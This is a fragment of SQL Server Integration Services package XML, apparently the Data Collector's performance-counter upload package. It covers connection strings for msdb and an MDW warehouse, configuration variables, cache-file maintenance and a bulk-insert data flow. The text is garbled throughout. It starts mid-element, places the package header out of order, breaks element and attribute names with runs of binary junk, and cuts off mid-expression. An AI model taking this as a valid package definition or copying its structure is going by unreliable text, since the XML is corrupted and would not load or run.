DTS:ThreadHint="1"><DTS:Variables/><DTS:LoggingOptions DTS:FilterKind="0" DTS:LoggingMode="2"/><DTS:ObjectData><SQLTask:SqlTaskData xmlns:SQLTask="www.microsoft.com/sqlserver/dts/tasks/sqltask" SQLTask:Connection="{68AAF105-9266-4AA6-A164-CD0A512B42D3}" SQLTask:SqlStatementSource="execute [core].[sp_create_snapshot]&#x0A;  @collection_set_uid=?&#x0A;, @collector_type_uid=?&#x0A;, @machine_name=?&#x0A;, @named_instance=?&#x0A;, @log_id=?&#x0A;, @snapshot_id=? OUTPUT&#x0A;"><SQLTask:ParameterBinding SQLTask:ParameterName="0" SQLTask:DtsVariableName="User::CollectionSetUID" SQLTask:ParameterDirection="Input" SQLTask:DataType="130" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="1" SQLTask:DtsVariableName="User::CollectorTypeUID" SQLTask:ParameterDirection="Input" SQLTask:DataType="130" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="4" SQLTask:DtsVariableName="User::LogID" SQLTask:ParameterDirection="Input" SQLTask:DataType="20" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="5" SQLTask:DtsVariableName="User::SnapshotID" SQLTask:ParameterDirection="Output" SQLTask:DataType="3" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="2" SQLTask:DtsVariableName="System::MachineName" SQLTask:ParameterDirection="Input" SQLTask:DataType="130" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="3" SQLTask:DtsVariableName="User::InstanceName" SQLTask:ParameterDirection="Input" SQLTask:DataType="130" SQLTask:ParameterSize="-1"/></SQLTask:SqlTaskData></DTS:ObjectData></DTS:Executable><DTS:Executable DTS:refId="Package\SQL - Register collection set to MDW" DTS:CreationName="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:DelayValidation="True" DTS:Description="Execute SQL Task" DTS:DTSID="{a3667210-4432-41f0-8d04-d53b10574f52}" DTS:ExecutableType="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:FailParentOnFailure="True" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="SQL - Register collection set to MDW" DTS:TaskContact="Execute SQL Task; Microsoft Corporation; Microsoft SQL Server v9;  2004 Microsoft Corporation; All Rights Reserved;http://www.microsoft.com/sql/support/default.asp;1" 	!!!!!!!!!!!!!!!!!!!!!!!!`5#52Hv<DTS:Executable xmlns:DTS="www.microsoft.com/SqlServer/Dts" DTS:refId="Package" DTS:CreationDate="2/23/2007 1:06:13 PM" DTS:CreationName="SSIS.Package.3" DTS:CreatorComputerName="" DTS:CreatorName="" DTS:DelayValidation="True" DTS:DTSID="{08D854CB-0D45-4E96-92C6-227A5DCD7066}" DTS:EnableConfig="True" DTS:ExecutableType="SSIS.Package.3" DTS:FailParentOnFailure="True" DTS:LastModifiedProductVersion="11.0.1252.5" DTS:LocaleID="1033" DTS:MaxConcurrentExecutables="2" DTS:MaxErrorCount="0" DTS:ObjectName="PerfCountersUpload" DTS:PackageType="5" DTS:VersionBuild="305" DTS:VersionGUID="{6A132ECC-5264-417B-B541-4566C88D35E6}"><DTS:Property DTS:Name="PackageFormatVersion">6</DTS:Property><DTS:ConnectionManagers><DTS:ConnectionManager DTS:refId="Package.ConnectionManagers[ConfigConnection]" DTS:CreationName="OLEDB" DTS:Description="Connection used to get information about collection configuration and for logging purposes." DTS:DTSID="{2AEF0133-FEA0-472B-B12D-89F60FF1CBCD}" DTS:ObjectName="ConfigConnection"><DTS:PropertyExpression DTS:Name="ConnectionString">@[User::ConfigConnectionString]</DTS:PropertyExpression><DTS:ObjectData><DTS:ConnectionManager DTS:ConnectionString="Data Source=(local);Initial Catalog=msdb;Provider=SQLNCLI11;Integrated Security=SSPI;APP=SQL Server Data Collector;"/></DTS:ObjectData></DTS:ConnectionManager><DTS:ConnectionManager DTS:refId="Package.ConnectionManagers[MdwConnection]" DTS:CreationName="OLEDB" DTS:Description="Connection used to upload collected data to a warehouse." DTS:DTSID="{68AAF105-9266-4AA6-A164-CD0A512B42D3}" DTS:ObjectName="MdwConnection"><DTS:PropertyExpression DTS:Name="ConnectionString">@[User::MDWConnectionString]</DTS:PropertyExpression><DTS:ObjectData><DTS:ConnectionManager DTS:Retain="True" DTS:ConnectionString="Data Source=(local);Initial Catalog=MDW;Provider=SQLNCLI11;Integrated Security=SSPI;APP=SQL Server Data Collector;"/></DTS:ObjectData></DTS:ConnectionManager><DTS:ConnectionManager DTS:refId="Package.ConnectionManagers[TargetConnection]" DTS:CreationName="OLEDB" DTS:Description="Connection used to get information from the monitored (target) instance." DTS:DTSID="{132C9722-DFF5-4B1E-8335-113AB9B72B8B}" DTS:ObjectName="TargetConnection"><DTS:PropertyExpression DTS:Name="ConnectionString">@[User::TargetConnectionString]</DTS:PropertyExpression><DTS:ObjectData><DTS:ConnectionManager DTS:Retain="True" DTS:ConnectionString="Data Source=(local);Provider=SQLNCLI11;Integrated Security=SSPI;APP=SQL Server Data Collector;"/></DTS:ObjectData></DTS:ConnectionManager></DTS:ConnectionManagers><DTS:Configurations><DTS:Configuration DTS:ConfigurationString="User::CacheDirectory" DTS:ConfigurationVariable="\Package.Variables[User::CacheDirectory].Properties[Value]" DTS:CreationName="" DTS:DTSID="{767DBF63-6589-4A47-92B6-83B7FE6C3F88}" DTS:ObjectName="CacheDirectory"/><DTS:Configuration DTS:ConfigurationString="User::CacheWindow" DTS:ConfigurationVariable="\Package.Variables[User::CacheWindow].Properties[Value]" DTS:CreationName="" DTS:DTSID="{8F817CE9-10DB-45C1-9F64-78474C992FAA}" DTS:ObjectName="CacheWindow"/><DTS:Configuration DTS:ConfigurationString="User::InputParameters" DTS:ConfigurationVariable="\Package.Variables[User::InputParameters].Properties[Value]" DTS:CreationName="" DTS:DTSID="{10D13CA8-84F9-41CF-A09D-8D3158B0243B}" DTS:ObjectName="InputParameters"/><DTS:Configuration DTS:ConfigurationString="User::MDWConnectionString" DTS:ConfigurationVariable="\Package.Variables[User::MDWConnectionString].Properties[Value]" DTS:CreationName="" DTS:DTSID="{28F4286B-9D00-4269-AC22-C247150E220B}" DTS:ObjectName="MDWConnectionString"/><DTS:Configuration DTS:ConfigurationString="User::ConfigConnectionString" DTS:ConfigurationVariable="\Package.Variables[User::ConfigConnectionString].Properties[Value]" DTS:CreationName="" DTS:DTSID="{6893D265-3DAF-4111-9601-754CB28CF15D}" DTS:ObjectName="ConfigConnectionString"/><DTS:Configuration DTS:ConfigurationString="User::TargetConnectionString" DTS:ConfigurationVariable="\Package.	!!!!!!!!!!!!!!!!!!!!!!!!`	5#B'HvVariables[User::TargetConnectionString].Properties[Value]" DTS:CreationName="" DTS:DTSID="{D425A728-7408-4EE7-993B-46EFDC11947F}" DTS:ObjectName="TargetConnectionString"/><DTS:Configuration DTS:ConfigurationString="User::LoopEventName" DTS:ConfigurationVariable="\Package.Variables[User::LoopEventName].Properties[Value]" DTS:CreationName="" DTS:DTSID="{B1E74B02-0F02-41C7-A9D7-7612EADE9BD4}" DTS:ObjectName="LoopEventName"/><DTS:Configuration DTS:ConfigurationString="User::ExitEventName" DTS:ConfigurationVariable="\Package.Variables[User::ExitEventName].Properties[Value]" DTS:CreationName="" DTS:DTSID="{9ADFDA9C-89B3-460E-83EC-C123E92768AC}" DTS:ObjectName="ExitEventName"/><DTS:Configuration DTS:ConfigurationString="User::CollectorTypeUID" DTS:ConfigurationVariable="\Package.Variables[User::CollectorTypeUID].Properties[Value]" DTS:CreationName="" DTS:DTSID="{E6BB8D08-A42F-480E-B74D-5764B102E229}" DTS:ObjectName="CollectorTypeUID"/><DTS:Configuration DTS:ConfigurationString="User::CollectionSetUID" DTS:ConfigurationVariable="\Package.Variables[User::CollectionSetUID].Properties[Value]" DTS:CreationName="" DTS:DTSID="{E6AB7F85-7160-4A06-A6AF-7A845BDED62B}" DTS:ObjectName="CollectionSetUID"/><DTS:Configuration DTS:ConfigurationString="User::ItemID" DTS:ConfigurationVariable="\Package.Variables[User::ItemID].Properties[Value]" DTS:CreationName="" DTS:DTSID="{333F5E0C-65B8-4430-8E6B-014393E50641}" DTS:ObjectName="ItemID"/><DTS:Configuration DTS:ConfigurationString="User::InstanceID" DTS:ConfigurationVariable="\Package.Variables[User::InstanceID].Properties[Value]" DTS:CreationName="" DTS:DTSID="{3630A5D4-5D8A-4717-8F10-9287946862DC}" DTS:ObjectName="InstanceID"/><DTS:Configuration DTS:ConfigurationString="User::InstanceName" DTS:ConfigurationVariable="\Package.Variables[User::InstanceName].Properties[Value]" DTS:CreationName="" DTS:DTSID="{AFA614B3-B990-404B-8186-7238F5089A5B}" DTS:ObjectName="InstanceName"/><DTS:Configuration DTS:ConfigurationString="User::LoggingLevel" DTS:ConfigurationVariable="\Package.Variables[User::LoggingLevel].Properties[Value]" DTS:CreationName="" DTS:DTSID="{710AD3B8-3D9A-4ACA-A0AD-C95665519570}" DTS:ObjectName="LoggingLevel"/><DTS:Configuration DTS:ConfigurationString="User::LogID" DTS:ConfigurationVariable="\Package.Variables[User::LogID].Properties[Value]" DTS:CreationName="" DTS:DTSID="{D88542C7-EBB5-4A03-87BB-DF54B345A295}" DTS:ObjectName="LogID"/><DTS:Configuration DTS:ConfigurationString="User::ParentLogID" DTS:ConfigurationVariable="\Package.Variables[User::ParentLogID].Properties[Value]" DTS:CreationName="" DTS:DTSID="{90B244E1-CD1E-483B-AE10-D2E0C1319450}" DTS:ObjectName="ParentLogID"/><DTS:Configuration DTS:ConfigurationString="User::DaysUntilExpiration" DTS:ConfigurationVariable="\Package.Variables[User::DaysUntilExpiration].Properties[Value]" DTS:CreationName="" DTS:DTSID="{F2ABCCBA-9B7C-4C1E-B5C5-A52ACE6475C3}" DTS:ObjectName="DaysUntilExpiration"/></DTS:Configurations><DTS:Variables><DTS:Variable DTS:CreationName="" DTS:DTSID="{4C443096-5A0D-4CB6-BD3F-6610BE9905E8}" DTS:Expression="@[User::CacheDirectory] + &quot;\\&quot; +  @[User::InstanceID] + &quot;_&quot;  + @[User::CollectionSetUID] + &quot;_&quot; +  (DT_WSTR, 255) @[User::ItemID] + &quot;.csv&quot;" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="CacheDirectory"><DTS:VariableValue DTS:DataType="8">C:\DOCUME~1\apred\LOCALS~1\Temp\eKatmai_DC</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{63E3032E-054F-412B-B853-7538BDAAFE3B}" DTS:EvaluateAsExpression="True" DTS:Expression="@[User::CacheDirectory] + &quot;\\&quot; + @[System::MachineName] + &quot;_&quot; + @[User::InstanceID] + &quot;_&quot;  + @[User::CollectionSetUID] + &quot;_&quot; +  (DT_WSTR, 255) @[User::ItemID] + &quot;.cache&quot;" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="CacheFileName"><DTS:VariableValue DTS:DataType="8">C:\DOCUME~1\apred\LOCALS~1\Temp\eKatmai_DC\SETHS-SSISVSTA2_MSSQL.1_640012b7-4ed0-4865-a636-4946d73c42	!!!!!!!!!!!!!!!!!!!!!!!!`
5#Hv5f_0.cache</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{940C99E7-EF6F-40B0-982C-9553759C2414}" DTS:EvaluateAsExpression="True" DTS:Expression="@[User::CacheDirectory] + &quot;\\&quot;+ @[User::CacheUploadFilesPrefixPattern]  + REPLACE( REPLACE( (DT_WSTR, 40) GETDATE(), &quot; &quot;, &quot;-&quot; ), &quot;:&quot;, &quot;-&quot; ) + &quot;.cache&quot;&#x0A;" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="CacheOutput"><DTS:VariableValue DTS:DataType="8">C:\DOCUME~1\apred\LOCALS~1\Temp\eKatmai_DC\SETHS-SSISVSTA2_MSSQL.1_640012b7-4ed0-4865-a636-4946d73c425f_0_upload_copyat_2011-04-08-14-56-38.956000000.cache</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{F81B33AE-4244-4889-BF12-8E6BFB11030F}" DTS:EvaluateAsExpression="True" DTS:Expression="@[System::MachineName] + &quot;_&quot; + @[User::InstanceID] + &quot;_&quot;  + @[User::CollectionSetUID] + &quot;_&quot; +  (DT_WSTR, 255) @[User::ItemID] + &quot;_upload_copyat_&quot;&#x0A;" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="CacheUploadFilesPrefixPattern"><DTS:VariableValue DTS:DataType="8">SETHS-SSISVSTA2_MSSQL.1_640012b7-4ed0-4865-a636-4946d73c425f_0_upload_copyat_</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{F220B51D-1FFB-4003-9EC0-2285752F310B}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="CacheWindow"><DTS:VariableValue DTS:DataType="3">1</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{D0868A36-C135-49D0-A8F1-13542A84B573}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="CollectionSetUID"><DTS:VariableValue DTS:DataType="8">640012b7-4ed0-4865-a636-4946d73c425f</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{CBF24B5A-C8CF-48E8-9509-D3204867FCC7}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="CollectorTypeUID"><DTS:VariableValue DTS:DataType="8">294605dd-21de-40b2-b20f-f3e170ea1ec3</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{F04807FB-804D-4425-81AF-F7CB457826A5}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="ConfigConnectionString"><DTS:VariableValue DTS:DataType="8">Provider=SQLNCLI11;Data Source=(local);Integrated Security=SSPI;Initial Catalog=msdb;APP=SQL Server Data Collector</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{888B7540-0785-4F57-A56D-D58BBF911921}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="DaysUntilExpiration"><DTS:VariableValue DTS:DataType="2">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{E3526FDC-CCDB-4346-8948-14B54720A63F}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="ExitEventName"><DTS:VariableValue DTS:DataType="8">EXITEVENT</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{EE554175-B0CA-4786-AFB9-D0253F3C39A6}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="InputParameters"><DTS:VariableValue DTS:DataType="8"/></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{C0E00118-2CAF-4F3C-9E53-A1E2CE30AB7C}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="InstanceID"><DTS:VariableValue DTS:DataType="8">MSSQL.1</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{38EFEA28-38F1-4ED1-8DBC-AAB0E2265EE5}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="InstanceName"><DTS:VariableValue DTS:DataType="8">(local)</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{39074E00-5D29-4CBF-9105-C3A346061C04}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="ItemID"><DTS:VariableValue DTS:DataType="3">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{E15C61FE-2988-4503-8A17-1F01F9D5E2D4}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="LoggingLeve	!!!!!!!!!!!!!!!!!!!!!!!!`5#vSHvl"><DTS:VariableValue DTS:DataType="3">2</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{98D987AA-CF36-4316-933A-05D4B96743E5}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="LogID"><DTS:VariableValue DTS:DataType="20">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{CEFF4763-688B-466E-A1E7-E290014294EF}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="LoopEventName"><DTS:VariableValue DTS:DataType="8">LOOPEVENT</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{7017ED52-3782-4E8C-9165-776BD4BF407F}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="MDWConnectionString"><DTS:VariableValue DTS:DataType="8">Provider=SQLNCLI11;Data Source=(local);Integrated Security=SSPI;Initial Catalog=MDW;APP=SQL Server Data Collector</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{7012C6A3-A799-452D-A88F-F82FEBE5B864}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="ParentLogID"><DTS:VariableValue DTS:DataType="20">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{C51017D6-9981-46D1-8375-EBCE6B57EC9C}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="SnapshotID"><DTS:VariableValue DTS:DataType="3">6</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{82A4097B-17D7-4B24-B70A-D548BA812BC8}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="SourceID"><DTS:VariableValue DTS:DataType="3">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{0EA15FE2-50C0-41A8-AD04-B859D38EA993}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="TargetConnectionString"><DTS:VariableValue DTS:DataType="8">Provider=SQLNCLI11;Data Source=(local);Integrated Security=SSPI;APP=SQL Server Data Collector</DTS:VariableValue></DTS:Variable></DTS:Variables><DTS:LoggingOptions DTS:FilterKind="0" DTS:LoggingMode="1"><DTS:Property DTS:DataType="8" DTS:Name="EventFilter">2,7,OnError,9,OnWarning</DTS:Property><DTS:Property DTS:EventName="OnError" DTS:Name="ColumnFilter"><DTS:Property DTS:Name="Computer">-1</DTS:Property><DTS:Property DTS:Name="Operator">-1</DTS:Property><DTS:Property DTS:Name="SourceName">-1</DTS:Property><DTS:Property DTS:Name="SourceID">-1</DTS:Property><DTS:Property DTS:Name="ExecutionID">-1</DTS:Property><DTS:Property DTS:Name="MessageText">-1</DTS:Property><DTS:Property DTS:Name="DataBytes">-1</DTS:Property></DTS:Property><DTS:Property DTS:EventName="OnWarning" DTS:Name="ColumnFilter"><DTS:Property DTS:Name="Computer">-1</DTS:Property><DTS:Property DTS:Name="Operator">-1</DTS:Property><DTS:Property DTS:Name="SourceName">-1</DTS:Property><DTS:Property DTS:Name="SourceID">-1</DTS:Property><DTS:Property DTS:Name="ExecutionID">-1</DTS:Property><DTS:Property DTS:Name="MessageText">-1</DTS:Property><DTS:Property DTS:Name="DataBytes">-1</DTS:Property></DTS:Property></DTS:LoggingOptions><DTS:Executables><DTS:Executable DTS:refId="Package\CWM - Delete Old Cache Files" DTS:CreationName="Microsoft.SqlServer.Management.Collector.Tasks.CacheWindowMaintainanceTask, Microsoft.SqlServer.Management.CollectorTasks, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:DelayValidation="True" DTS:Description="Cache Window Maintainance Task" DTS:DTSID="{884A53D3-672D-42BF-A6D4-A96E27430985}" DTS:ExecutableType="Microsoft.SqlServer.Management.Collector.Tasks.CacheWindowMaintainanceTask, Microsoft.SqlServer.Management.CollectorTasks, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="CWM - Delete Old Cache Files" DTS:TaskContact="Cache Window Maintainance Task; Microsoft Corporation; Microsoft SQL Server v10;  2007 Microsoft Corporation; All Rights Reserved;http://www.microsoft.com/sql/support/default.asp;1" DTS:ThreadHint="0"><DTS:Variables><DTS:Variable DTS:CreationName="" D	!!!!!!!!!!!!!!!!!!!!!!!!`5h^fHvTS:DTSID="{7EDAF031-506D-45CA-A56C-7597EB330B4C}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="LoopDuration"><DTS:VariableValue DTS:DataType="3">0</DTS:VariableValue></DTS:Variable></DTS:Variables><DTS:LoggingOptions DTS:FilterKind="0" DTS:LoggingMode="2"/><DTS:PropertyExpression DTS:Name="CacheFileNamePrefixVarName">"User::CacheUploadFilesPrefixPattern"</DTS:PropertyExpression><DTS:ObjectData><InnerObject><CacheFileNamePrefixVarName Type="8" Value="User::CacheUploadFilesPrefixPattern"/><CacheWindow Type="3" Value="0"/><CollectionSetUID Type="8" Value=""/><CollectorTempDir Type="8" Value=""/><CollectorTypeUID Type="8" Value=""/><ConfigConnectionString Type="8" Value=""/><ExitEventName Type="8" Value=""/><InstanceName Type="8" Value=""/><ItemID Type="3" Value="0"/><LoggingLevel Type="3" Value="0"/><LoopEventName Type="8" Value=""/><MdwConnectionString Type="8" Value=""/><TargetConnectionString Type="8" Value=""/><TaskDisplayName Type="8" Value="Cache Window Maintainance Task"/></InnerObject></DTS:ObjectData></DTS:Executable><DTS:Executable DTS:refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload" DTS:CreationName="STOCK:FOREACHLOOP" DTS:DelayValidation="True" DTS:Description="Foreach Loop Container" DTS:DTSID="{2B763872-7CE3-4CFF-88F9-5A1EDFA05BC8}" DTS:ExecutableType="STOCK:FOREACHLOOP" DTS:FailParentOnFailure="True" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="FEF - For Each Collected Cache File Remaining, Try to Upload"><DTS:ForEachEnumerator DTS:CreationName="DTS.ForEachFileEnumerator.3" DTS:DTSID="{EE8E4F57-1623-455B-B0B2-ABCCA165FFB5}" DTS:ObjectName="{EE8E4F57-1623-455B-B0B2-ABCCA165FFB5}"><DTS:PropertyExpression DTS:Name="Directory">@[User::CacheDirectory]</DTS:PropertyExpression><DTS:PropertyExpression DTS:Name="FileSpec">@[User::CacheUploadFilesPrefixPattern] + "*.cache"</DTS:PropertyExpression><DTS:ObjectData><ForEachFileEnumeratorProperties><FEFEProperty Folder="C:\DOCUME~1\apred\LOCALS~1\Temp\eKatmai_DC"/><FEFEProperty FileSpec="SETHS-SSISVSTA2_MSSQL.1_640012b7-4ed0-4865-a636-4946d73c425f_0_upload_copyat_*.cache"/><FEFEProperty FileNameRetrievalType="0"/><FEFEProperty Recurse="0"/></ForEachFileEnumeratorProperties></DTS:ObjectData></DTS:ForEachEnumerator><DTS:Variables><DTS:Variable DTS:CreationName="" DTS:DTSID="{F36AAF41-4971-4431-B175-E6DEE50CE8A6}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="CacheFileToUpload"><DTS:VariableValue DTS:DataType="8">c:\perflogs\MACIES4_MSSQL.1_640012b7-4ed0-4865-a636-4946d73c425f_0.cache</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{F7E27146-0A15-485B-8BD1-9A4327B9CEF6}" DTS:EvaluateAsExpression="True" DTS:Expression="DATEDIFF(&quot;ms&quot;,  @[System::ContainerStartTime], GETDATE())" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="LoopDuration"><DTS:VariableValue DTS:DataType="3">956</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{05DBC8DD-D393-4E0E-8A8D-97EC37B1C527}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="RowCountError"><DTS:VariableValue DTS:DataType="3">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{F5DD1F52-8D07-4E99-8435-35B4ECBBE28A}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="RowCountIn"><DTS:VariableValue DTS:DataType="3">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{A3990693-0E65-44C7-BF35-1AD1F08EDCB0}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="RowCountOut"><DTS:VariableValue DTS:DataType="3">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{03FCCBFD-6016-428F-A0DF-294876A9D2B1}" DTS:EvaluateAsExpression="True" DTS:Expression="@[User::RowCountOut] -  @[User::RowCountError]" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="RowCountOutFinal"><DTS:VariableValue DTS:DataType="3">0</DTS:VariableValue></DTS:Variable></DTS:Variables><DTS:Lo	!!!!!!!!!!!!!!!!!!!!!!!!`
5h٩HvggingOptions DTS:FilterKind="0" DTS:LoggingMode="2"/><DTS:Executables><DTS:Executable DTS:refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW" DTS:CreationName="SSIS.Pipeline.3" DTS:DelayValidation="True" DTS:Description="Data Flow Task" DTS:DTSID="{E0D31BC6-173F-4DB9-BBD1-941BFE618005}" DTS:ExecutableType="SSIS.Pipeline.3" DTS:FailParentOnFailure="True" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="DFT - Bulk Insert Collected data into MDW" DTS:TaskContact="Performs high-performance data extraction, transformation and loading;Microsoft Corporation; Microsoft SQL Server v9; (C) 2004 Microsoft Corporation; All Rights Reserved;http://www.microsoft.com/sql/support/default.asp;1"><DTS:Variables/><DTS:LoggingOptions DTS:FilterKind="0" DTS:LoggingMode="2"/><DTS:ObjectData><pipeline BLOBTempStoragePath="" bufferTempStoragePath="" defaultBufferMaxRows="1000" defaultBufferSize="1048576" engineThreads="2" version="1"><components><component refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\DRV - Add snapshot id" componentClassID="{49928E82-9C4E-49F0-AABE-3812B82707EC}" contactInfo="Derived Column;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;0" description="Updates column values using expressions" name="DRV - Add snapshot id" usesDispositions="true"><inputs><input refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\DRV - Add snapshot id.Inputs[Derived Column Input]" description="Input to the Derived Column Transformation" name="Derived Column Input"><inputColumns><inputColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\DRV - Add snapshot id.Inputs[Derived Column Input].Columns[collection_time]" cachedDataType="dbTimeStamp" cachedName="collection_time" lineageId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\RAW - Read current tempoary storage.Outputs[Raw File Source Output].Columns[collection_time]"/></inputColumns><externalMetadataColumns/></input></inputs><outputs><output refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\DRV - Add snapshot id.Outputs[Derived Column Output]" description="Default Output of the Derived Column Transformation" exclusionGroup="1" name="Derived Column Output" synchronousInputId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\DRV - Add snapshot id.Inputs[Derived Column Input]"><outputColumns><outputColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\DRV - Add snapshot id.Outputs[Derived Column Output].Columns[snapshot_id]" dataType="i4" errorOrTruncationOperation="Computation" errorRowDisposition="FailComponent" lineageId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\DRV - Add snapshot id.Outputs[Derived Column Output].Columns[snapshot_id]" name="snapshot_id" truncationRowDisposition="FailComponent"><properties><property containsID="true" dataType="System.String" description="Derived Column Expression" name="Expression">@[User::SnapshotID]</property><property containsID="true" dataType="System.String" description="Derived Column Friendly Expression" expressionType="Notify" name="FriendlyExpression">@[User::SnapshotID]</property></properties></outputColumn><outputColumn refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\DRV - Add snapshot id.Outputs[Derived Column Output].Columns[collect_time_convert]" dataType="dbTimeStamp2" errorOrTruncationOperation="Computation" er	!!!!!!!!!!!!!!!!!!!!!!!!`5h,(QHvrorRowDisposition="FailComponent" lineageId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\DRV - Add snapshot id.Outputs[Derived Column Output].Columns[collect_time_convert]" name="collect_time_convert" scale="1" truncationRowDisposition="IgnoreFailure"><properties><property containsID="true" dataType="System.String" description="Derived Column Expression" name="Expression">(DT_DBTIMESTAMP2,1)#{Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW\RAW - Read current tempoary storage.Outputs[Raw File Source 